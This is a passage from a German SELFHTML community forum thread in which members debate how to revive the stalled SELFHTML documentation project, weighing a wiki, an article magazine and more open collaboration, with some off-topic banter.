        Und ja, ich verlange, dass jedem Besucher im gesamten Selfhtml-Bereich ins Gesicht springt, dass gerade eine Dokumentation geschrieben wird, dass Leute gesucht werden und wie man mitmachen kann. Das wäre schon mit prominenten Links getan. Ich weiß, dass die entsprechenden Seiten existieren und mittlerweile ziemlich gut strukturiert sind. Aber der Selfraum umfasst zehntausende Dokumente. Wenn man weiß, wo man suchen muss, sind es drei Klicks von Selfhtml 8.1 zur 9er-Vorschauversion. Wenn man das nicht weiß, kann man sich auch gerne einen Wolf suchen. Einfach mal auf Doku, Selfaktuell, Forum, Weblog, Verein dicke Infoboxen stellen, die sagen: »Hallo, hier tut sich was! We want you!« So sehr du Medien wie Blogs, Facebook, Twitter kritisieren magst, andere »Marketing«-Möglichkeiten gibts im Web nicht.

        Grüße,
        Mathias

    2. Mein ungefragter Ratschlag ist daher:
      Gebt die Idee des geschlossenen Werkes auf.

      Sofort. Modularisierung her.

      Stellt ein Portal hin, auf der regelmäßige Artikelreihen erscheinen.

      z.B. Working Drafts Branch diskutieren

      Zum Beispiel alle 3-4 Wochen jeweils Artikel aus einem Bereich. Das sind kleine, machbare Schritte mit großer Wirkung. Nach einem Jahr ist dann ein HTML-Einsteigertutorial fertig. Parallel läuft eine Tutorial-Reihe zu CSS. Schreibt kleine, profunde Texte und bringt sie schnell zur Veröffentlichung. Nach Abschluss einer Reihe oder auch zwischendrin kann man die Teile hinsichtlich Konsistenz und Kohärenz überarbeiten. -- Ob das nun in SDML, Wiki oder mit sonstwelchen Tools und Formaten erfolgt, ist nicht der entscheidende Punkt. -- Gleichzeitig können auf diesem Portal Newsbeiträge, Fachartikel und Meinungen erscheinen, was bisher im Blog und unter den Feature-Artikeln veröffentlicht wurde.

      Sup, nutzt die Möglichkeit, Technologien zu einem ganzen zu vereinen.
      Oft gehören HTML und CSS zusammen demonstriert. Ditto wenn JS im Spiel.

      Ein solches Portal wäre lebendig. Und weil ich gemein bin, sage ich auch noch, wer ein ähnliches Konzept bereits verfolgt: Dieses ominöse »Webkompetenz«. Dessen Betreiber hat vermutlich nicht mehr Ideen, Motivation, Fachwissen und Zeit als das hiesige Dev-/Redaktionsteam. Er setzt sich einfach hin und schreibt ab und zu kleine Häppchen. Mal eine Tutorial-Reihe über Ajax hier, mal eine Stellungnahme zur Netzpolitik dort. Und bindet Leute über Blogkommentare, Forum und Twitter ein.

      Mein Vorschlag. SelfMagazin
      Artikel werden nicht nach einem fixen Fahrplan erstellt (kein Stress, kein Plan), sondern nach Verfügbarkeit. Eine Ausgabe muss auch nicht einen fixen Artikelumfang haben. Gebt euch Freiheiten.
      Es muss jedoch Vorlagen geben HTML und CSS, wobei nur der Inhaltsbereich und Metainformationen einzureichen sind.
      Egal wie sie erstellt wurden, das Resultat sollte mit einem Tool validierbar sein.

      So einfach ist es? Ja. Naja. Zumindest tausendmal besser als der Status Quo bei Selfhtml.

      Er erlaubt wieder Produktivität.
      Ich finde es auf jeden Fall einen Ansatz, ein Repositiorium, aus welchem sich dann vielleicht dann die Module schöpfen können, die meiner Meinung nach ihre eigene Entwicklung durchmachen können dürfen sollen.

      Was Selfhtml also meiner Meinung nach braucht ... Wie man sich wieder ins Gespräch bringt, bekannt macht, verlorenes Vertrauen zurückgewinnt.

      Wenn man all Quartal eine neue Url im Web zu einer Ausgabe eines Magazins, publizieren kann, dann bringt man sich gewiss wieder ins Gespräch. Ich hoffe, Quartal erschreckt niemanden. Es geht um zwei drei Artikel und vielleicht eine Glosse um die Entwicklung von SelfHTML.
      Im Grunde könnte man sagen dass mancher Blog-Artikel nahe daran kommt. Allerdings sollte die Aufmachung nicht nach Blog schmecken, sondern schon eher den Doku-Stil ahnen lassen.

      Apropos Vertrauen: Bei allen lobenswerten Bemühungen bleibt Selfhtml ein kommunikatives Desaster. Selfhtml wird als sich abkanzelndes Grüppchen wahrgenommen, dass bei Kritik von außen zubeißt. Dazu gibt es unzählige Beispiele. Was meint ihr, welche Außenwirkung die Reaktionen mancher Devs und Nicht-Devs in diesem Thread haben. Da denken sich viele, die Selfhtml eigentlich positiv gesinnt sind: Wer nicht will, dem ist auch nicht zu helfen.

      Das kommt darauf an, was jemand gewillt ist, zu lesen. Threads sind Threads. Es gibt keine Zusammenfassung, so etwas wie die positive Erkenntnis. In der tat zeigt das Forum eher Kontroverse.

      Ein Magazin wäre dazu angetan, Fortschritte im Konsens zu zeigen.

      mfg Beat

      --
      ><o(((°>           ><o(((°>
         <°)))o><                     ><o(((°>o
      Der Valigator leibt diese Fische
    3. Hallo Mathias,

      Gebt die Idee des geschlossenen Werkes auf. Stellt ein Portal hin, auf der regelmäßige Artikelreihen erscheinen. Zum Beispiel alle 3-4 Wochen jeweils Artikel aus einem Bereich. Das sind kleine, machbare Schritte mit großer Wirkung. Nach einem Jahr ist dann ein HTML-Einsteigertutorial fertig.

      Nein, das glaube ich nicht. Ich teile zwar Thomas Meinung bezüglich des "Web 2.0" überhaupt nicht, aber ich stimme ihm zu, wenn er sagt, dass aus einer Artikelreihe kein Tutorial wird.

      Nicht, dass eine Artikelreihe an sich etwas schlechtes wäre. Wenn wir das aber tatsächlich so durchziehen würden, wie Du vorgeschlagen hast, dann heißt das letztendlich, dass es überhaupt keine Dokumentation mehr geben wird.

      Viele Grüße,
      Christian

      1. Hallo!

        Nicht, dass eine Artikelreihe an sich etwas schlechtes wäre. Wenn wir das aber tatsächlich so durchziehen würden, wie Du vorgeschlagen hast, dann heißt das letztendlich, dass es überhaupt keine Dokumentation mehr geben wird.

        Selbst wenn: Dann ist es eben so. Und?

        Das kann man nun beklagen und dabei den langsamen Heldentot sterben, wie es Selfhtml gerade tut. Oder man kann etwas machen, was einem nicht den letzten Nerv raubt, was einem nicht ein stetiger Quell von Frustration, Rückschlägen und Enttäuschungen ist, sondern eine »positive Bilanz« für die Beteiligten bringt.

        WIE ihr das macht, ist eigentlich egal. Sicher bin ich mir nur darin, dass überzogene Ansprüche und massig investierte Arbeit ohne Erfolgserlebnis (»wir wollen eine Doku«, aber nach 8 Jahren gibt es noch kein Release) alle nur tiefer reinreiten. Ich bin nur auf ein mögliches Modell eingegangen, wie man Selfhtml so wenden könnte, dass es mehr als der Fortbetrieb einer Plattform ist und den Mitarbeitern wieder Freude bereitet.

        Grüße,
        Mathias

        1. Hallo Mathias,

          Nicht, dass eine Artikelreihe an sich etwas schlechtes wäre. Wenn wir das aber tatsächlich so durchziehen würden, wie Du vorgeschlagen hast, dann heißt das letztendlich, dass es überhaupt keine Dokumentation mehr geben wird.

          Selbst wenn: Dann ist es eben so. Und?

          Ich habe meine Aussage bewußt nicht bewertet (ich lasse mir das im Moment noch durch den Kopf gehen - mit ganz niedriger Priorität, weil ich im Moment eigentlich gar keine Zeit habe...), ich wollte nur die Implikationen Deines Vorschlags herausarbeiten.

          Viele Grüße,
          Christian

    4. Moin,

      viele kluge Gedanken, in denen ich mich sehr gut wiederfinde. Nicht so fundiert und durchdacht wie Du hatte ich ähnliches neulich Chräcker geschrieben:

      "Ich denke da immer an die Funkamateure und die CB-Funker/Amateurfunker. Erstere brauchten so etwas wie SELFHTML, weil sie das komplette Basiswissen besitzen wollten und z.T. auch mussten, um ihrer Passion nachzukommen zu können. Letztere sind wie die Webbewohner/Blogger/Socialmedia-Nutzer heute; sie können auf eine Basis aufsetzen, die sie nicht mehr im Detail zu verstehen brauchen (im Sinne von: müssen). Das neue SELFHTML.alt für die "Funkamateure" wird fachlich präziser und damit auch ein Stück weit "unverständlicher" für den Laien/Einsteiger werden. Es wird aufwändiger sein, es zu lernen. Das neue SELFHTML.neu wird die CD-Funker ansprechen, könnten ihnen z.B. die Webtechniken erläutern und einen Überblick verschaffen, sich aber nicht im Detail verlieren. Dafür wird es ausführlicher mit rechtlichen, gesellschaftlichen, und politischen Teilen aufwarten, um den Leser auf "das große Ganze" neugierig zu machen. Über die Form kann man viel phantasieren. Ob das ein elektronische Buch/Hypertext wie SELFHTML.alt mit fest lokalisierter Community sein wird oder eine Verbund von Blogs, Foren, Facebookseiten, Twitterstreams, Kommentatoren, Besuchern, Lesern, Podcasts, pl0gbars und Camps mit einen sie irgendwie verknüpfenenden Band sein wird? Ich weiß das nicht, würde es aber gern kennenlernen :-)"

      Ich glaube, es gehört sehr Mut dazu, das bisherige zu lassen und einen Neuanfang zu wagen. Weg von der Versionierung eines in sich [ver|ge]schlossenen, monolithischen Werkes hin zu etwas anderem, dessen Struktur jetz noch nicht absehbar ist. Als ich vor Jahren hier der Wikiidee anhing, konnte ich mir nicht vorstellen, dass am Ende nicht doch etwas herauszukommen hätte, was endlich buchähnlich ausdruckbar zu sein hätte. Das Web, genauer: seine Benutzer haben sich mittlerweile weiterentwickelt.

      Was tröstet: Das Dokument SELFHTML in seiner jetzigen Form wird ja nicht verloren gehen oder zerstört werden; es wird an seinem angestammten Platz weiter exisitieren in seiner gewohnten Form. Es kann also nicht schief laufen. Das Schlimmste wäre nämlich: keine Weiterentwicklung von SELFHTML. Und? Das ist doch eh Status Quo, wäre also nicht mal ein Rückschritt.

      Grüße

      Swen

    5. Hallo molily,

      ich finde deine Ansätze ziemlich gut. Darum möchte ich an dieser Stelle beschreiben, wie wir diesen in den nächsten Monaten näher treten können.

      Ich möchte einen Schritt zurücktreten und fragen: Was ist ein erfolgreiches Projekt zur Dokumentation von Webtechniken?

      Ich finde:

      • Es ist thematisch aktuell und greift das auf, worüber geredet wird bzw. was nachgefragt wird.

      Das sollte es auf jeden Fall. In der Regel werden aktuelle Themen bei einem Wiki auch schneller berücksichtigt. Es sind eher die Themen, die den Grundstock von SELFHTML bilden, die zunächst nicht berücksichtigt werden.

      • Es finden regelmäßig Veröffentlichungen statt.

      Dies ließe sich mit einem Wiki gut einrichten. Denkbar sind auch Tweets oder Weblog-Einträge bei Fertigstellung neuer Kapitel / Artikel / etc.

      • Es gibt Impulse. Es ist bekannt unter Webautoren und hat eine große Leserschaft. Texte werden häufig verlinkt, in Blogs und Foren kontrovers diskutiert.

      Ich verstehe nicht, worauf du hier hinaus willst. Einen hohen Bekanntheitsgrad und eine große Leserschaft sollte erfüllt sein (wobei man sich hier definitiv mit neuen Inhalten verbessern kann).
      Das mit den Impulsen ist aber definitiv eine gute Idee - ich glaube, dass wir hier mit Kommunikation viel erreichen können.

      • Es ist hoch angesehen. Es lockt andere fähige und kritische Leute an. Autoren reißen sich darum, dort mitmachen und publizieren zu dürfen.

      Das ist der Optimalfall, und genau da möchten wir ja auch hin.

      • Es nutzt die Möglichkeiten, um Leute zu gewinnen und an sich zu binden, um mit Leuten ins Gespräch zu kommen.

      Mehr Kommunikation. Ja, ich finde dass wir genau an diesem Punkt zuerst ansetzen sollten. Was wir bereits beginnend mit diesem Thread machen.

      Was nicht funktioniert hat:
      Selfhtml will eine monolithische, geschlossene Dokumentation sein. Das fänden wir alle toll, aber es gibt zu viele verschiedene Hürden. Derer sind sich alle bewusst, wie dieser Thread zeigt, deshalb wiederhole ich sie nicht. Das Vorhaben, ein neues Selfhtml 9 hinzustellen, ist nun über 8 Jahre hinweg gescheitert (meiner Erinnerung nach).

      Ich denke, dass ein Wiki hier genau der richtige Ansatz ist.
      Vor allem aber auch in unserer Einstellung, nicht mehr nur die "Redaktion" schreiben zu lassen, sondern andere mit einzubinden, die von sich aus schreiben möchten. Ohne dass diese sich erst die Rechte bei der Redaktion holen müssen.

      Wir hören euch, und wir tun auch etwas. Wir wollen aber wenigstens eine gewisse Zeit haben, um all das vernünftig vorzubereiten. Das dauert nicht lange, kann aber das ansonsten fast sichere Chaos verhindern. Ich habe mir vorgenommen jeden Tag mindestens 1-2 Stunden hierfür zu investieren, weil mir SELFHTML am Herzen liegt.

      PS: Ich wäre übrigens begeistert, wenn du wieder mitschreiben würdest, wenn das Wiki live geht. Deine JavaScript-Artikel waren immer erste Sahne. :-)

      Grüße

      Marc Reichelt || http://www.marcreichelt.de/

      --
      DPRINTK("Last time you were disconnected, how about now?");
              linux-2.6.6/drivers/net/tokenring/ibmtr.c
      Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
      1. Lieber Marc,

        PS: Ich wäre übrigens begeistert, wenn du wieder mitschreiben würdest, wenn das Wiki live geht. Deine JavaScript-Artikel waren immer erste Sahne. :-)

        das will ich ausdrücklich bestätigen!

        Liebe Grüße,

        Felix Riesterer.

        --
        ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
      2. Moin,

        • Es gibt Impulse. Es ist bekannt unter Webautoren und hat eine große Leserschaft. Texte werden häufig verlinkt, in Blogs und Foren kontrovers diskutiert.

        Ich verstehe nicht, worauf du hier hinaus willst.

        Ich habe das so verstanden: SELFHTML hat noch einen Ruf, aber der verhallt. Was man hört, ist ein Echo, es kommt aber nichts Neues mehr.

        Das mit den Impulsen ist aber definitiv eine gute Idee - ich glaube, dass wir hier mit Kommunikation viel erreichen können.

        Kommunikation bedeutet zum einen, mit anderen zu reden oder sich mitzuteilen, zum anderen aber auch teilnehmen (lassen), Dinge gemeinsam machen. Aus der Kommunikation entstand die Community. Wir haben vor Jahren, so fürchte ich, den Fehler gemacht, einen Teil dieser Community abzugrenzen, ihn hinter den Vorhang geschoben und damit den Nukleus geschaffen, der heute das Problem ist. Der Schritt, die Developer als geschlossene Gruppe agieren zu lassen, wäre für sich noch gegangen, wenn diese Gruppe sich allein als Dienstleister für eine ansonsten offene Plattform verstanden hätte. Das haben wir nach und nach aus den Augen verloren und mit dem zweiten Fehler die kritische Masse erreicht, die aus meiner Sicht das heutige Problem schuf: Als Stefan das Dokument für Mitautoren öffnete, verbarg sich auch die Redaktion hinter dem Vorhang. Und hier steckt auch der Ansatz zur Lösung. Eine Trennung zwischen (technischer) Dienstleistung und eine Öffnung hin zu einer Mitmach-Plattform, in der Content nicht nur via Frontcooking ensteht, sondern jeder mühelos(!) zum Koch werden kann. Und hier steckt auch die Gefahr: Lieb gewonnene Einstellungen müssen überprüft werden.

        Vor allem aber auch in unserer Einstellung, nicht mehr nur die "Redaktion" schreiben zu lassen, sondern andere mit einzubinden, die von sich aus schreiben möchten. Ohne dass diese sich erst die Rechte bei der Redaktion holen müssen.

        Genau. Erst wenn das "wir" kein Gegensatz zum "ihr" mehr beinhaltet, beginnt es

        Wir hören euch, und wir tun auch etwas ... Das dauert nicht lange, kann aber das ansonsten fast sichere Chaos verhindern.

        Das kann schnell missverständlich wirken, weil es den unausgesprochenen Vorwurf enthalten könnte: "wir haben den Plan und sind die Checker", "Ihr würdet das allein nicht hinkriegen und nur Unsinn bauen", "Lass Papa und Mama mal machen."

        Grüße

        Swen

      3. Ich denke, dass ein Wiki hier genau der richtige Ansatz ist.

        Ja - oder zumindet etwas das so tut als wäre es ein Wiki z.B. einen Edit-Button bei jedem Artikel wo ich dessen SDML-Quelltext direkt bearbeiten kann, nur warum das Rad neu erfinden? :)

        Nehmt aber auf keinen Fall die falsche Wiki-Software. Schränkt die Kandidaten auf eine Handvoll ein (aufgrund diverser Faktoren wie etwa Open-Souce, Selbsthostbar, Kostenlos, UTF-8-Support, regelmäßige Updates) und stellt die Kandidaten dann ggf. nochmal zur Wahl um die endgültige Entscheidung zu treffen.

        Es hilft nichts, wenn sich eine Wiki-Software ausgesucht hat, diese aber "nix taugt". Als Beispiel eben Wikidot - sicher eine super Software, nur ich bezweifle, dass die Template-Geschichte ausreicht um die Features die man für SELFHTML benötigt umzusetzen. Eine entsprechende Reaktion von Stefan Münz der sich damit wohl besser auskennt ist jedenfalls ausgeblieben (https://forum.selfhtml.org/?t=194555&m=1301693). Ebenso scheinen die Sprechenden URLs in der Standardkonfiguration nichts zu taugen - wie und ob man das Ändern kann, konnte ich jedenfalls nicht finden.

        Wir hören euch, und wir tun auch etwas. Wir wollen aber wenigstens eine gewisse Zeit haben, um all das vernünftig vorzubereiten.

        Das ist verständlich - es hat auch niemand verlangt, dass "sofort" etwas passiert und über Nacht ein Wiki stehen muss.

        1. Hi!

          Ja - oder zumindet etwas das so tut als wäre es ein Wiki z.B. einen Edit-Button bei jedem Artikel wo ich dessen SDML-Quelltext direkt bearbeiten kann, nur warum das Rad neu erfinden? :)

          Das fände ich gut, SDML oder etwas vergleichbares als Auszeichnung zu verwenden. Das wird es kaum als Plugin für irgendwelche Sofort-Mitmach-Software geben, aber zumindest könnte man das als mittelfristig zu implementierende Idee aufheben.

          Schauen wir mal genau hin was wir™ mit dem Wiki bekommen. Als Vorbetrachtung: Man sollte annehmen, dass jemand, der Beiträge für SELFHTML schreiben will, mit der HTML-Syntax vertraut ist, also auch dem Konzept, Inhalte durch Tags auszuzeichnen. Ansonsten lehren wir ja unter anderem genau diese Technik auf unseren Seiten. Diese Tags haben sprechende Bezeichner. Was aber bekommt man mit einem "handelsüblichen" Wiki? Wiki-Syntax, die mit Sonderzeichen und -kombinationen daherkommt. (Noch dazu mit einigen wichtigen, die auf in diesem Kulturkreis üblichen Tastaturlayouts nicht sehr fingerfreundlich zu erreichen sind.) Wiki-Syntax richtet sich an "normalsterbliche", die mit HTML und Co. nicht viel anfangen können. Dafür ist es gut. Aber haben wir diesen Personenkreis als potentielle Autoren? Ich denke nicht, jedenfalls nicht im Kernthemengebiet. Ich beispielsweise kann mir sprechende Bezeichner wesentlich besser merken als Kombinationen von Klammern. Besonderns, wenn man nur gelegentlich schreibt, finde ich solche sprechenden Bezeichner günstiger als die nicht gemerkte Sonderzeichensyntax. Für jemanden, der zum ersten Mal mitschreibt, ist es egal. Er muss auf alle Fälle ein Mindestmaß an Syntax lernen (wenn er nicht nur mit Zeilenumbrüche formatieren will). Warum dann nicht gleich ein vertrautes System?

          Wie gesagt, da wir nicht mit SDML oder etwas ähnlichem starten können, werden wir sowieso eine Wiki-Syntax haben. Die kann ja bleiben, unter anderem für "Randthemenautoren" (nenn ich sie jetzt mal, ohne damit irgendeine Wertung implizieren zu wollen). Für den "Power-User" sähe ich aber gern ein "gescheites" Werkzeug.

          Wir hören euch, und wir tun auch etwas. Wir wollen aber wenigstens eine gewisse Zeit haben, um all das vernünftig vorzubereiten.
          Das ist verständlich - es hat auch niemand verlangt, dass "sofort" etwas passiert und über Nacht ein Wiki stehen muss.

          Wirklich nicht? Ich sehe da was anderes (auch in dem, was über die Vergangenheit berichtet wurde, und als eine der Ursachen für das Scheitern genannt wurde).

          Ich will beileibe nicht als Motivationsbremse auftreten, aber man muss ja auch nicht chaotisch starten und erst später die Motivationsbremse erfahren, wenn die nächste Sackgasse erreicht wurde, weil wieder mal nicht die Erfahrungen in den eigenen Reihen und die, die man in anderen Projekten beobachten konnte, berücksichtigt wurden. "Einfach mal machen" - so starteten viele Projekte. Hinzu kommt nicht selten Wildwuchs, besonders dann, wenn das Projekt plötzlich populär wird und viele Mitstreiter anzieht. Das Ergebnis sind konzeptionelle (Programmier)fehler, die nicht selten zu Sicherheitslücken führen. Man sah neben der kurzfristigen Schadensbeseitigung, dass oftmals ein kompletter Rewrite des Kerns vorgenommen wurde. Vermutlich war an dem bisherigen Code nicht mehr viel zu retten. Andere Projekte leiden weiterhin an Inkonsistenzen (Beispiel PHP mit seinen Funktionsnamen und Parameterreihenfolgen). Und manchmal können sie daran nicht viel ändern, weil sonst zu viele davon abhängige Systeme nicht mehr arbeiten würden.

          Vielleicht ist das alles nicht direkt mit SELFHTML vergleichbar. Ein Umschreiben/Umformatieren von Texten ist im Prinzip recht einfach möglich. Es ist im ungünstigsten Fall nur jede Menge Handarbeit, die an anderer Stelle fehlen wird. Ich bitte, mich nicht falsch zu verstehen. Keinesfalls möchte ich eine Regelung bis ins letzte I-Pünktchen. Extreme halte ich für ungesund, das aber an beiden Enden der Skala. Rahmenbedingungen ja, aber kein Korsett und keine Anarchie!

          Lo!

        2. Hallo suit,

          Es hilft nichts, wenn sich eine Wiki-Software ausgesucht hat, diese aber "nix taugt". Als Beispiel eben Wikidot - sicher eine super Software, nur ich bezweifle, dass die Template-Geschichte ausreicht um die Features die man für SELFHTML benötigt umzusetzen. Eine entsprechende Reaktion von Stefan Münz der sich damit wohl besser auskennt ist jedenfalls ausgeblieben (https://forum.selfhtml.org/?t=194555&m=1301693). Ebenso scheinen die Sprechenden URLs in der Standardkonfiguration nichts zu taugen - wie und ob man das Ändern kann, konnte ich jedenfalls nicht finden.

          Ich kenne auch nur die Features von Wikidot, die ich bislang selber benötigt habe. Ich sehe die Sache aber andersherum. Wikidot bietet eine Menge von dem, was man bräuchte. Wenn es nun nicht alles bietet -- ist es dann vielleicht möglich, sich im eigenen Kopf mal so zu bewegen, dass man im Rahmen der Möglichkeiten eine Lösung findet? In dem Testwiki benötige ich jedenfalls keine mehrdimensionalen Namensräume und komme gut klar so. URL-Beispiele:

          http://selfhtml.wikidot.com/doku:start
          http://selfhtml.wikidot.com/doku-html:start
          http://selfhtml.wikidot.com/doku-html:text
          http://selfhtml.wikidot.com/doku-html:ueberschriften
          http://selfhtml.wikidot.com/doku-html:elementreferenz
          http://selfhtml.wikidot.com/doku-html:elementreferenz-a

          Nun gehört das natürlich zu all den Dingen, bei denen ich mir überhaupt nix gedacht habe, weil ich das alles völlig unüberlegt in zwei Tagen da hingehackt habe. Egal, ich schaffe es, die Doku mit diesem Schema in einer für mich akzeptablen Weise abzubilden und traue mich kaum zu fragen, wozu ich denn mehr brauchen sollte? Oder haben wir hier wieder nicht vielleicht doch das klassische Syndrom?

          Ich will hier nicht so tun als ob nun ausgerechnet die Wikidot-Software die Lösung aller Probleme ist. Ich kenne die Software nicht mal direkt, da ich nur die Wikidot-Hosting-Plattform nutze. Die Software gibts aber standalone als OpenSource, und ja, sie erfüllt all das:

          Open-Souce, Selbsthostbar, Kostenlos, UTF-8-Support, regelmäßige Updates

          Aber egal. Das SELF-Team will sich in Ruhe entscheiden, wobei man allerdings auch dieses "das müssen wir erst mal klären, und dann teilen wir euch mit was herausgekommen ist" in Frage stellen könnte. Denn genau das ist ja dieses "wir für euch", das so einfach nicht mehr funktioniert. Ich verstehe mein Testwiki eben auch als Möglichkeit für die SELF-User, selber Ideen und Gedanken zusammenzutragen, und zwar nicht irgendwann, wenn die künftige Lösung "verkündet" sein wird, sondern jetzt, sofort. Eure Entscheidung, ob ihr davon Gebrauch macht, oder lieber die Nase über dieses popelige Wikidot rümpft.

          viele Grüße
          Stefan Münz

          1. Hi!

            Nun gehört das natürlich zu all den Dingen, bei denen ich mir überhaupt nix gedacht habe, weil ich das alles völlig unüberlegt in zwei Tagen da hingehackt habe.

            Du gleitest argumentativ wieder ins Extreme ab. Muss wahrscheinlich so sein. Wenn ich den Mittelweg fordere, ist dort kein Platz mehr für dich. Also musst du an den Rand ausweichen ...

            Im nächsten zitierten Absatz forderst du keine Entscheidungen hinter verschlossenen Türen. Aber das was du gemacht hast war keine?

            Das SELF-Team will sich in Ruhe entscheiden, wobei man allerdings auch dieses "das müssen wir erst mal klären, und dann teilen wir euch mit was herausgekommen ist" in Frage stellen könnte. Denn genau das ist ja dieses "wir für euch", das so einfach nicht mehr funktioniert. Ich verstehe mein Testwiki eben auch als Möglichkeit für die SELF-User, selber Ideen und Gedanken zusammenzutragen, und zwar nicht irgendwann, wenn die künftige Lösung "verkündet" sein wird, sondern jetzt, sofort. Eure Entscheidung, ob ihr davon Gebrauch macht, oder lieber die Nase über dieses popelige Wikidot rümpft.

            Vielleicht kann man das auch anders sehen. Vom SELF-Team ist ja nicht mehr viel übrig. Der (aus meiner Sicht als Außenstehender, einzig) übrig gebliebene, der das technische Verständnis beziehungsweise die derzeitige Verantwortung hat, den reibungslosen Betrieb sicherstellen und zu planen, ist derzeit studiumsbedingt nicht wirklich verfügbar. Einen Schnellschuss und dessen Folgen haben wir bereits erlebt. Wenn jetzt keine Zeit ist, zu warten, bis er wieder freie Valenzen hat, um am Entscheidungsprozess teilnehmen zu können, dann gibt es genauso ein "wir für euch" nur in der anderen Richtung. Ich konnte jedenfalls aus dem Geschriebenen nur ein Zeitproblem, nicht aber den Nichtwillen zur offenen Diskussion rauslesen.

            Lo!

            1. Und schon wieder geht's um Technik und Vorstellungen und Planungen.

              Dabei ist's ganz einfach: Wer umsetzt, hat Recht. Die Doku wäre nicht das erste Projekt, das von einem Fork langfristig betrachtet profitiert. Hauptsache, es tut sich was. Eine Zusammenführung wäre verglichen mit der eigentlichen Arbeit ein Klacks.

              Roland

              1. Hi!

                Und schon wieder geht's um Technik und Vorstellungen und Planungen

                Was ist schlecht daran? Dass man sich verplanen kann? Man kann sich auch verlaufen.

                Dabei ist's ganz einfach: Wer umsetzt, hat Recht.

                Vermutlich hat man auch Recht, wenn man Projekten den Rücken kehrt und immer nur dann wiederkommt, wenn es grad Action gibt.

                Lo!

                1. Und schon wieder geht's um Technik und Vorstellungen und Planungen

                  Was ist schlecht daran? Dass man sich verplanen kann? Man kann sich auch verlaufen.

                  Erfahrungsgemäß gibt' im SELF-Raum zwei Arten von Projekten: die generalstabsmäßig geplanten Neuerungen, mit technischer Brillianz gescheitert und die erfolgreich Hingerotzten. Hätte Stefan auf Perfektionismus gesetzt, wär' die Doku nie veröffentlicht worden. An den vielen Kleinigkeiten haben sich nur die Eierkopf-Fundis gestört, die niemals zur Zielgruppe gehörten. Zu viel Hirnwichserei macht oversexed und underfucked. *g*

                  Dabei ist's ganz einfach: Wer umsetzt, hat Recht.

                  Vermutlich hat man auch Recht, wenn man Projekten den Rücken kehrt und immer nur dann wiederkommt, wenn es grad Action gibt.

                  Wer stehen bleibt, sieht nur mehr den Rücken. Investier' drei, vier Jahre, damit wir uns dann auf Augenhöhe unterhalten können. ;-)

                  Roland

                  1. 你好 Orlando,

                    Erfahrungsgemäß gibt' im SELF-Raum zwei Arten von Projekten: die generalstabsmäßig geplanten Neuerungen, mit technischer Brillianz gescheitert und die erfolgreich Hingerotzten.

                    Sei mir net bös, aber es gibt auch was dazwischen. Und das ist der Weg, der gegangen werden muss. Schnellschüsse sind genau so zum Scheitern verurteilt wie das Gegenteil.

                    So, und nu besorg ich mir nen Jogging-Anzug, damit ich bei dem Wetter beim Sport nicht erfriere… ;-)

                    再见,
                     克里斯蒂安

                    --
                    http://wwwtech.de/
                    Wer sich zu überschwänglich freut, wir später Grund zum Weinen haben.
                    Kompromisse und andere WiderlichkeitenHochzeit mit Flitterwochen
                    1. Moin,

                      Schnellschüsse sind genau so zum Scheitern verurteilt wie das Gegenteil.

                      Das Wesentliche am Schuss ist, dass er trifft und im Ziel die gewollte Wirkung vollbringt. Das hängt nicht zwingend an der Schnelligkeit oder Langsamkeit des Schusses ab :-)

                      Hier schneit und stürmt es. Im Jogginganzug tät ich erfrieren.

                      Waidmannsglück

                      Swen

                      1. 你好 Swen,

                        Schnellschüsse sind genau so zum Scheitern verurteilt wie das Gegenteil.

                        Das Wesentliche am Schuss ist, dass er trifft und im Ziel die gewollte Wirkung vollbringt. Das hängt nicht zwingend an der Schnelligkeit oder Langsamkeit des Schusses ab :-)

                        Nur hat man beim schnellen Schießen oft eine übermäßige Ungenauigkeit.

                        Hier schneit und stürmt es. Im Jogginganzug tät ich erfrieren.

                        Meiner soll bis -15°C völlig ausreichend sein. Bei -4°C bzw. -5°C hatte ich gerad keinerlei Probleme, war recht angenehm.

                        Waidmannsglück

                        Waidmannsheil. Danke :-)

                        再见,
                         克里斯蒂安

                        --
                        http://wwwtech.de/
                        Keine Schneeflocke faellt je auf die falsche Stelle.
                        Kompromisse und andere WiderlichkeitenHochzeit mit Flitterwochen
                        1. Im Jogginganzug tät ich erfrieren.

                          Meiner soll bis -15°C völlig ausreichend sein.

                          Du läufst im Snuggie? Bewundernswert. Und gelenkig.

                          Roland

                          1. 你好 Orlando,

                            Im Jogginganzug tät ich erfrieren.

                            Meiner soll bis -15°C völlig ausreichend sein.

                            Du läufst im Snuggie? Bewundernswert. Und gelenkig.

                            Jetzt musste ich erstmal nachsehen, was genau ein Snuggie ist ;-) Beim schauen des Werbevideos fingen die Augen meiner Frau an zu leuchten – schnell ausschalten ;-)

                            再见,
                             克里斯蒂安

                            --
                            http://wwwtech.de/
                            Es gibt keinen Ort, wo der Geist zu finden waere. Er ist wie die Fussspuren der Voegel am Himmel.
                            Kompromisse und andere WiderlichkeitenHochzeit mit Flitterwochen
                      2. Schnellschüsse sind genau so zum Scheitern verurteilt wie das Gegenteil.

                        Das Wesentliche am Schuss ist, dass er trifft und im Ziel die gewollte Wirkung vollbringt.

                        Wie das Weblog. War ja damals nichts Anderes als eine spontane Idee, die zügig umgesetzt wurde bis hin zum Live-Hacking im Chat. Keine tausend Plugins, keine Templatesprache für Autoren. Simples HTML mit: Ergebnis.

                        Roland

                        1. 你好 Orlando,

                          Schnellschüsse sind genau so zum Scheitern verurteilt wie das Gegenteil.

                          Das Wesentliche am Schuss ist, dass er trifft und im Ziel die gewollte Wirkung vollbringt.

                          Wie das Weblog. War ja damals nichts Anderes als eine spontane Idee, die zügig umgesetzt wurde bis hin zum Live-Hacking im Chat. Keine tausend Plugins, keine Templatesprache für Autoren. Simples HTML mit: Ergebnis.

                          Auf der anderen Seite ist das Classic Forum entstanden mit etwa 3 Monaten Vorlaufzeit. Und das Ergebnis ist ganz schlecht nicht, denke ich. Von daher: es gibt Mittelwege, die gangbar sind.

                          再见,
                           克里斯蒂安

                          --
                          http://wwwtech.de/
                          <sasaa> frauen sind viel verpeilter als maenner
                          Kompromisse und andere WiderlichkeitenHochzeit mit Flitterwochen
                          1. Moin,

                            [Classic Forum] Und das Ergebnis ist ganz schlecht nicht, denke ich.

                            Red' keinen Scheiß. Das Forum ist geil, nicht weniger :-)

                            Grüße

                            Swen

                            1. 你好 Swen,

                              [Classic Forum] Und das Ergebnis ist ganz schlecht nicht, denke ich.

